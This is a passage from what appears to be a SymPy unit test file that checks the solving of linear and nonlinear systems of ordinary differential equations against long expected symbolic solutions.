5*sqrt(70771857)/36)**(S(1)/3)))/2 + 1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))/2)*(-2*sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))) + 2*sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 13)), Eq(y(t), C1*(-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 14 + (-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 + sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)**2 + sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))))*exp((-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 + sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)*log(t)) + C2*(-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 14 - sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))) + (-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 - sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)**2)*exp((-sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))/2 + 1 - sqrt(-284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) - 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)*log(t)) + C3*t**(1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + \ 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2 + sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)*(sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))) + 14 + (1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3))/2 + sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + 346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)))/2)**2) + C4*t**(-sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + \ 346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)))/2 + 1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2)*(-sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + \ 8 + 346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))) + (-sqrt(-2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3) + 8 + \ 346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 284/sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)))/2 + 1 + sqrt(-346/(3*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + \ 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3))/2)**2 + sqrt(-346/(3*(S(4333)/4 + \ 5*sqrt(70771857)/36)**(S(1)/3)) + 4 + 2*(S(4333)/4 + 5*sqrt(70771857)/36)**(S(1)/3)) + 14))] assert dsolve(eq10) == sol10 def test_linear_3eq_order1(): x, y, z = symbols('x, y, z', function=True) t = Symbol('t') eq1 = (Eq(diff(x(t),t), 21*x(t)), Eq(diff(y(t),t), 17*x(t)+3*y(t)), Eq(diff(z(t),t), 5*x(t)+7*y(t)+9*z(t))) sol1 = [Eq(x(t), C1*exp(21*t)), Eq(y(t), 17*C1*exp(21*t)/18 + C2*exp(3*t)), \ Eq(z(t), 209*C1*exp(21*t)/216 - 7*C2*exp(3*t)/6 + C3*exp(9*t))] assert dsolve(eq1) == sol1 eq2 = (Eq(diff(x(t),t),3*y(t)-11*z(t)),Eq(diff(y(t),t),7*z(t)-3*x(t)),Eq(diff(z(t),t),11*x(t)-7*y(t))) sol2 = [Eq(x(t), 7*C0 + sqrt(179)*C1*cos(sqrt(179)*t) + (77*C1/3 + 130*C2/3)*sin(sqrt(179)*t)), \ Eq(y(t), 11*C0 + sqrt(179)*C2*cos(sqrt(179)*t) + (-58*C1/3 - 77*C2/3)*sin(sqrt(179)*t)), \ Eq(z(t), 3*C0 + sqrt(179)*(-7*C1/3 - 11*C2/3)*cos(sqrt(179)*t) + (11*C1 - 7*C2)*sin(sqrt(179)*t))] assert dsolve(eq2) == sol2 eq3 = (Eq(3*diff(x(t),t),4*5*(y(t)-z(t))),Eq(4*diff(y(t),t),3*5*(z(t)-x(t))),Eq(5*diff(z(t),t),3*4*(x(t)-y(t)))) sol3 = [Eq(x(t), C0 + 5*sqrt(2)*C1*cos(5*sqrt(2)*t) + (12*C1/5 + 164*C2/15)*sin(5*sqrt(2)*t)), \ Eq(y(t), C0 + 5*sqrt(2)*C2*cos(5*sqrt(2)*t) + (-51*C1/10 - 12*C2/5)*sin(5*sqrt(2)*t)), \ Eq(z(t), C0 + 5*sqrt(2)*(-9*C1/25 - 16*C2/25)*cos(5*sqrt(2)*t) + (12*C1/5 - 12*C2/5)*sin(5*sqrt(2)*t))] assert dsolve(eq3) == sol3 f = t**3 + log(t) g = t**2 + sin(t) eq4 = (Eq(diff(x(t),t),(4*f+g)*x(t)-f*y(t)-2*f*z(t)), Eq(diff(y(t),t),2*f*x(t)+(f+g)*y(t)-2*f*z(t)), Eq(diff(z(t),t),5*f*x(t)+f*y(t)+(-3*f+g)*z(t))) sol4 = [Eq(x(t), (C1*exp(-2*Integral(t**3 + log(t), t)) + C2*(sqrt(3)*sin(sqrt(3)*Integral(t**3 + log(t), t))/6 \ + cos(sqrt(3)*Integral(t**3 + log(t), t))/2) + C3*(sin(sqrt(3)*Integral(t**3 + log(t), t))/2 - \ sqrt(3)*cos(sqrt(3)*Integral(t**3 + log(t), t))/6))*exp(Integral(-t**2 - sin(t), t))), Eq(y(t), \ (C2*(sqrt(3)*sin(sqrt(3)*Integral(t**3 + log(t), t))/6 + cos(sqrt(3)*Integral(t**3 + log(t), t))/2) + \ C3*(sin(sqrt(3)*Integral(t**3 + log(t), t))/2 - sqrt(3)*cos(sqrt(3)*Integral(t**3 + log(t), t))/6))*\ exp(Integral(-t**2 - sin(t), t))), Eq(z(t), (C1*exp(-2*Integral(t**3 + log(t), t)) + C2*cos(sqrt(3)*\ Integral(t**3 + log(t), t)) + C3*sin(sqrt(3)*Integral(t**3 + log(t), t)))*exp(Integral(-t**2 - sin(t), t)))] assert dsolve(eq4) == sol4 eq5 = (Eq(diff(x(t),t),4*x(t) - z(t)),Eq(diff(y(t),t),2*x(t)+2*y(t)-z(t)),Eq(diff(z(t),t),3*x(t)+y(t))) sol5 = [Eq(x(t), C1*exp(2*t) + C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t)/2 + C3*t*exp(2*t) + C3*exp(2*t)), \ Eq(y(t), C1*exp(2*t) + C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t)/2 + C3*t*exp(2*t)), \ Eq(z(t), 2*C1*exp(2*t) + 2*C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t) + C3*t*exp(2*t) + C3*exp(2*t))] assert dsolve(eq5) == sol5 eq6 = (Eq(diff(x(t),t),4*x(t) - y(t) - 2*z(t)),Eq(diff(y(t),t),2*x(t) + y(t)- 2*z(t)),Eq(diff(z(t),t),5*x(t)-3*z(t))) sol6 = [Eq(x(t), C1*exp(2*t) + C2*(-sin(t) + 3*cos(t)) + C3*(3*sin(t) + cos(t))), \ Eq(y(t), C2*(-sin(t) + 3*cos(t)) + C3*(3*sin(t) + cos(t))), Eq(z(t), C1*exp(2*t) + 5*C2*cos(t) + 5*C3*sin(t))] assert dsolve(eq6) == sol6 def test_linear_3eq_order1_nonhomog(): e = [Eq(diff(f(x), x), -9*f(x) - 4*g(x)), Eq(diff(g(x), x), -4*g(x)), Eq(diff(h(x), x), h(x) + exp(x))] raises(NotImplementedError, lambda: dsolve(e)) @XFAIL def test_linear_3eq_order1_diagonal(): # code makes assumptions about coefficients being nonzero, breaks when assumptions are not true e = [Eq(diff(f(x), x), f(x)), Eq(diff(g(x), x), g(x)), Eq(diff(h(x), x), h(x))] s1 = [Eq(f(x), C1*exp(x)), Eq(g(x), C2*exp(x)), Eq(h(x), C3*exp(x))] s = dsolve(e) assert s == s1 def test_nonlinear_2eq_order1(): x, y, z = symbols('x, y, z', function=True) t = Symbol('t') eq1 = (Eq(diff(x(t),t),x(t)*y(t)**3), Eq(diff(y(t),t),y(t)**5)) sol1 = [ Eq(x(t), C1*exp((-1/(4*C2 + 4*t))**(-S(1)/4))), Eq(y(t), -(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), C1*exp(-1/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), (-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), C1*exp(-I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), -I*(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), C1*exp(I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), I*(-1/(4*C2 + 4*t))**(S(1)/4))] assert dsolve(eq1) == sol1 eq2 = (Eq(diff(x(t),t), exp(3*x(t))*y(t)**3),Eq(diff(y(t),t), y(t)**5)) sol2 = [ Eq(x(t), -log(C1 - 3/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), -(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), -log(C1 + 3/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), (-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), -log(C1 + 3*I/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), -I*(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), -log(C1 - 3*I/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), I*(-1/(4*C2 + 4*t))**(S(1)/4))] assert dsolve(eq2) == sol2 eq3 = (Eq(diff(x(t),t), y(t)*x(t)), Eq(diff(y(t),t), x(t)**3)) tt = S(2)/3 sol3 = [ Eq(x(t), 6**tt/(6*(-sinh(sqrt(C1)*(C2 + t)/2)/sqrt(C1))**tt)), Eq(y(t), sqrt(C1 + C1/sinh(sqrt(C1)*(C2 + t)/2)**2)/3)] assert dsolve(eq3) == sol3 eq4 = (Eq(diff(x(t),t),x(t)*y(t)*sin(t)**2), Eq(diff(y(t),t),y(t)**2*sin(t)**2)) sol4 = set([Eq(x(t), -2*exp(C1)/(C2*exp(C1) + t - sin(2*t)/2)), Eq(y(t), -2/(C1 + t - sin(2*t)/2))]) assert dsolve(eq4) == sol4 eq5 = (Eq(x(t),t*diff(x(t),t)+diff(x(t),t)*diff(y(t),t)), Eq(y(t),t*diff(y(t),t)+diff(y(t),t)**2)) sol5 = set([Eq(x(t), C1*C2 + C1*t), Eq(y(t), C2**2 + C2*t)]) assert dsolve(eq5) == sol5 eq6 = (Eq(diff(x(t),t),x(t)**2*y(t)**3), Eq(diff(y(t),t),y(t)**5)) sol6 = [ Eq(x(t), 1/(C1 - 1/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), -(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), 1/(C1 + (-1/(4*C2 + 4*t))**(-S(1)/4))), Eq(y(t), (-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), 1/(C1 + I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), -I*(-1/(4*C2 + 4*t))**(S(1)/4)), Eq(x(t), 1/(C1 - I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), I*(-1/(4*C2 + 4*t))**(S(1)/4))] assert dsolve(eq6) == sol6 def test_checksysodesol(): x, y, z = symbols('x, y, z', function=True) t = Symbol('t') eq = (Eq(diff(x(t),t), 9*y(t)), Eq(diff(y(t),t), 12*x(t))) sol = [Eq(x(t), 9*C1*exp(-6*sqrt(3)*t) + 9*C2*exp(6*sqrt(3)*t)), \ Eq(y(t), -6*sqrt(3)*C1*exp(-6*sqrt(3)*t) + 6*sqrt(3)*C2*exp(6*sqrt(3)*t))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), 2*x(t) + 4*y(t)), Eq(diff(y(t),t), 12*x(t) + 41*y(t))) sol = [Eq(x(t), 4*C1*exp(t*(-sqrt(1713)/2 + S(43)/2)) + 4*C2*exp(t*(sqrt(1713)/2 + \ S(43)/2))), Eq(y(t), C1*(-sqrt(1713)/2 + S(39)/2)*exp(t*(-sqrt(1713)/2 + \ S(43)/2)) + C2*(S(39)/2 + sqrt(1713)/2)*exp(t*(sqrt(1713)/2 + S(43)/2)))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), x(t) + y(t)), Eq(diff(y(t),t), -2*x(t) + 2*y(t))) sol = [Eq(x(t), (C1*sin(sqrt(7)*t/2) + C2*cos(sqrt(7)*t/2))*exp(3*t/2)), \ Eq(y(t), ((C1/2 - sqrt(7)*C2/2)*sin(sqrt(7)*t/2) + (sqrt(7)*C1/2 + \ C2/2)*cos(sqrt(7)*t/2))*exp(3*t/2))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), x(t) + y(t) + 9), Eq(diff(y(t),t), 2*x(t) + 5*y(t) + 23)) sol = [Eq(x(t), C1*exp(t*(-sqrt(6) + 3)) + C2*exp(t*(sqrt(6) + 3)) - \ S(22)/3), Eq(y(t), C1*(-sqrt(6) + 2)*exp(t*(-sqrt(6) + 3)) + C2*(2 + \ sqrt(6))*exp(t*(sqrt(6) + 3)) - S(5)/3)] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), x(t) + y(t) + 81), Eq(diff(y(t),t), -2*x(t) + y(t) + 23)) sol = [Eq(x(t), (C1*sin(sqrt(2)*t) + C2*cos(sqrt(2)*t))*exp(t) - S(58)/3), \ Eq(y(t), (sqrt(2)*C1*cos(sqrt(2)*t) - sqrt(2)*C2*sin(sqrt(2)*t))*exp(t) - S(185)/3)] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), 5*t*x(t) + 2*y(t)), Eq(diff(y(t),t), 2*x(t) + 5*t*y(t))) sol = [Eq(x(t), (C1*exp((Integral(2, t).doit())) + C2*exp(-(Integral(2, t)).doit()))*\ exp((Integral(5*t, t)).doit())), Eq(y(t), (C1*exp((Integral(2, t)).doit()) - \ C2*exp(-(Integral(2, t)).doit()))*exp((Integral(5*t, t)).doit()))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t)), Eq(diff(y(t),t), -t**2*x(t) + 5*t*y(t))) sol = [Eq(x(t), (C1*cos((Integral(t**2, t)).doit()) + C2*sin((Integral(t**2, t)).doit()))*\ exp((Integral(5*t, t)).doit())), Eq(y(t), (-C1*sin((Integral(t**2, t)).doit()) + \ C2*cos((Integral(t**2, t)).doit()))*exp((Integral(5*t, t)).doit()))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), 5*t*x(t) + t**2*y(t)), Eq(diff(y(t),t), -t**2*x(t) + (5*t+9*t**2)*y(t))) sol = [Eq(x(t), (C1*exp((-sqrt(77)/2 + S(9)/2)*(Integral(t**2, t)).doit()) + \ C2*exp((sqrt(77)/2 + S(9)/2)*(Integral(t**2, t)).doit()))*exp((Integral(5*t, t)).doit())), \ Eq(y(t), (C1*(-sqrt(77)/2 + S(9)/2)*exp((-sqrt(77)/2 + S(9)/2)*(Integral(t**2, t)).doit()) + \ C2*(sqrt(77)/2 + S(9)/2)*exp((sqrt(77)/2 + S(9)/2)*(Integral(t**2, t)).doit()))*exp((Integral(5*t, t)).doit()))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t,t), 5*x(t) + 43*y(t)), Eq(diff(y(t),t,t), x(t) + 9*y(t))) root0 = -sqrt(-sqrt(47) + 7) root1 = sqrt(-sqrt(47) + 7) root2 = -sqrt(sqrt(47) + 7) root3 = sqrt(sqrt(47) + 7) sol = [Eq(x(t), 43*C1*exp(t*root0) + 43*C2*exp(t*root1) + 43*C3*exp(t*root2) + 43*C4*exp(t*root3)), \ Eq(y(t), C1*(root0**2 - 5)*exp(t*root0) + C2*(root1**2 - 5)*exp(t*root1) + \ C3*(root2**2 - 5)*exp(t*root2) + C4*(root3**2 - 5)*exp(t*root3))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t,t), 8*x(t)+3*y(t)+31), Eq(diff(y(t),t,t), 9*x(t)+7*y(t)+12)) root0 = -sqrt(-sqrt(109)/2 + S(15)/2) root1 = sqrt(-sqrt(109)/2 + S(15)/2) root2 = -sqrt(sqrt(109)/2 + S(15)/2) root3 = sqrt(sqrt(109)/2 + S(15)/2) sol = [Eq(x(t), 3*C1*exp(t*root0) + 3*C2*exp(t*root1) + 3*C3*exp(t*root2) + 3*C4*exp(t*root3) - S(181)/29), \ Eq(y(t), C1*(root0**2 - 8)*exp(t*root0) + C2*(root1**2 - 8)*exp(t*root1) + \ C3*(root2**2 - 8)*exp(t*root2) + C4*(root3**2 - 8)*exp(t*root3) + S(183)/29)] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t,t) - 9*diff(y(t),t) + 7*x(t),0), Eq(diff(y(t),t,t) + 9*diff(x(t),t) + 7*y(t),0)) sol = [Eq(x(t), C1*cos(t*(S(9)/2 + sqrt(109)/2)) + C2*sin(t*(S(9)/2 + sqrt(109)/2)) + \ C3*cos(t*(-sqrt(109)/2 + S(9)/2)) + C4*sin(t*(-sqrt(109)/2 + S(9)/2))), Eq(y(t), -C1*sin(t*(S(9)/2 + sqrt(109)/2)) \ + C2*cos(t*(S(9)/2 + sqrt(109)/2)) - C3*sin(t*(-sqrt(109)/2 + S(9)/2)) + C4*cos(t*(-sqrt(109)/2 + S(9)/2)))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t,t), 9*t*diff(y(t),t)-9*y(t)), Eq(diff(y(t),t,t),7*t*diff(x(t),t)-7*x(t))) I1 = sqrt(6)*7**(S(1)/4)*sqrt(pi)*erfi(sqrt(6)*7**(S(1)/4)*t/2)/2 - exp(3*sqrt(7)*t**2/2)/t I2 = -sqrt(6)*7**(S(1)/4)*sqrt(pi)*erf(sqrt(6)*7**(S(1)/4)*t/2)/2 - exp(-3*sqrt(7)*t**2/2)/t sol = [Eq(x(t), C3*t + t*(9*C1*I1 + 9*C2*I2)), Eq(y(t), C4*t + t*(3*sqrt(7)*C1*I1 - 3*sqrt(7)*C2*I2))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), 21*x(t)), Eq(diff(y(t),t), 17*x(t)+3*y(t)), Eq(diff(z(t),t), 5*x(t)+7*y(t)+9*z(t))) sol = [Eq(x(t), C1*exp(21*t)), Eq(y(t), 17*C1*exp(21*t)/18 + C2*exp(3*t)), \ Eq(z(t), 209*C1*exp(21*t)/216 - 7*C2*exp(3*t)/6 + C3*exp(9*t))] assert checksysodesol(eq, sol) == (True, [0, 0, 0]) eq = (Eq(diff(x(t),t),3*y(t)-11*z(t)),Eq(diff(y(t),t),7*z(t)-3*x(t)),Eq(diff(z(t),t),11*x(t)-7*y(t))) sol = [Eq(x(t), 7*C0 + sqrt(179)*C1*cos(sqrt(179)*t) + (77*C1/3 + 130*C2/3)*sin(sqrt(179)*t)), \ Eq(y(t), 11*C0 + sqrt(179)*C2*cos(sqrt(179)*t) + (-58*C1/3 - 77*C2/3)*sin(sqrt(179)*t)), \ Eq(z(t), 3*C0 + sqrt(179)*(-7*C1/3 - 11*C2/3)*cos(sqrt(179)*t) + (11*C1 - 7*C2)*sin(sqrt(179)*t))] assert checksysodesol(eq, sol) == (True, [0, 0, 0]) eq = (Eq(3*diff(x(t),t),4*5*(y(t)-z(t))),Eq(4*diff(y(t),t),3*5*(z(t)-x(t))),Eq(5*diff(z(t),t),3*4*(x(t)-y(t)))) sol = [Eq(x(t), C0 + 5*sqrt(2)*C1*cos(5*sqrt(2)*t) + (12*C1/5 + 164*C2/15)*sin(5*sqrt(2)*t)), \ Eq(y(t), C0 + 5*sqrt(2)*C2*cos(5*sqrt(2)*t) + (-51*C1/10 - 12*C2/5)*sin(5*sqrt(2)*t)), \ Eq(z(t), C0 + 5*sqrt(2)*(-9*C1/25 - 16*C2/25)*cos(5*sqrt(2)*t) + (12*C1/5 - 12*C2/5)*sin(5*sqrt(2)*t))] assert checksysodesol(eq, sol) == (True, [0, 0, 0]) eq = (Eq(diff(x(t),t),4*x(t) - z(t)),Eq(diff(y(t),t),2*x(t)+2*y(t)-z(t)),Eq(diff(z(t),t),3*x(t)+y(t))) sol = [Eq(x(t), C1*exp(2*t) + C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t)/2 + C3*t*exp(2*t) + C3*exp(2*t)), \ Eq(y(t), C1*exp(2*t) + C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t)/2 + C3*t*exp(2*t)), \ Eq(z(t), 2*C1*exp(2*t) + 2*C2*t*exp(2*t) + C2*exp(2*t) + C3*t**2*exp(2*t) + C3*t*exp(2*t) + C3*exp(2*t))] assert checksysodesol(eq, sol) == (True, [0, 0, 0]) eq = (Eq(diff(x(t),t),4*x(t) - y(t) - 2*z(t)),Eq(diff(y(t),t),2*x(t) + y(t)- 2*z(t)),Eq(diff(z(t),t),5*x(t)-3*z(t))) sol = [Eq(x(t), C1*exp(2*t) + C2*(-sin(t) + 3*cos(t)) + C3*(3*sin(t) + cos(t))), \ Eq(y(t), C2*(-sin(t) + 3*cos(t)) + C3*(3*sin(t) + cos(t))), Eq(z(t), C1*exp(2*t) + 5*C2*cos(t) + 5*C3*sin(t))] assert checksysodesol(eq, sol) == (True, [0, 0, 0]) eq = (Eq(diff(x(t),t),x(t)*y(t)**3), Eq(diff(y(t),t),y(t)**5)) sol = [Eq(x(t), C1*exp((-1/(4*C2 + 4*t))**(-S(1)/4))), Eq(y(t), -(-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), C1*exp(-1/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), (-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), C1*exp(-I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), -I*(-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), C1*exp(I/(-1/(4*C2 + 4*t))**(S(1)/4))), Eq(y(t), I*(-1/(4*C2 + 4*t))**(S(1)/4))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(diff(x(t),t), exp(3*x(t))*y(t)**3),Eq(diff(y(t),t), y(t)**5)) sol = [Eq(x(t), -log(C1 - 3/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), -(-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), -log(C1 + 3/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), (-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), -log(C1 + 3*I/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), -I*(-1/(4*C2 + 4*t))**(S(1)/4)), \ Eq(x(t), -log(C1 - 3*I/(-1/(4*C2 + 4*t))**(S(1)/4))/3), Eq(y(t), I*(-1/(4*C2 + 4*t))**(S(1)/4))] assert checksysodesol(eq, sol) == (True, [0, 0]) eq = (Eq(x(t),t*diff(x(t),t)+diff(x(t),t)*diff(y(t),t)), Eq(y(t),t*diff(y(t),t)+diff(y(t),t)**2)) sol = set([Eq(x(t), C1*C2 + C1*t), Eq(y(t), C2**2 + C2*t)]) assert checksysodesol(eq, sol) == (True, [0, 0]) @slow def test_nonlinear_3eq_order1(): x, y, z = symbols('x, y, z', function=True) t = Symbol('t') eq1 = (4*diff(x(t),t) + 2*y(t)*z(t), 3*diff(y(t),t) - z(t)*x(t), 5*diff(z(t),t) - x(t)*y(t)) sol1 = "[Eq(x(t), Eq(Integral(4/(sqrt(-4*_y**2 - 3*C1 + C2)*sqrt(-4*_y**2 + 5*C1 - C2)), (_y, x(t))), "\ "C3 + Integral(-sqrt(15)/15, t))), Eq(y(t), Eq(Integral(3/(sqrt(-6*_y**2 - C1 + 5*C2)*sqrt(3*_y**2 + C1 - 4*C2)), "\ "(_y, y(t))), C3 + Integral(sqrt(5)/10, t))), Eq(z(t), Eq(Integral(5/(sqrt(-10*_y**2 - 3*C1 + C2)*"\ "sqrt(5*_y**2 + 4*C1 - C2)), (_y, z(t))), C3 + Integral(sqrt(3)/6, t)))]" assert str(dsolve(eq1)) == sol1 eq2 = (4*diff(x(t),t) + 2*y(t)*z(t)*sin(t), 3*diff(y(t),t) - z(t)*x(t)*sin(t), 5*diff(z(t),t) - x(t)*y(t)*sin(t)) sol2 = "[Eq(x(t), Eq(Integral(3/(sqrt(-6*_y**2 - C1 + 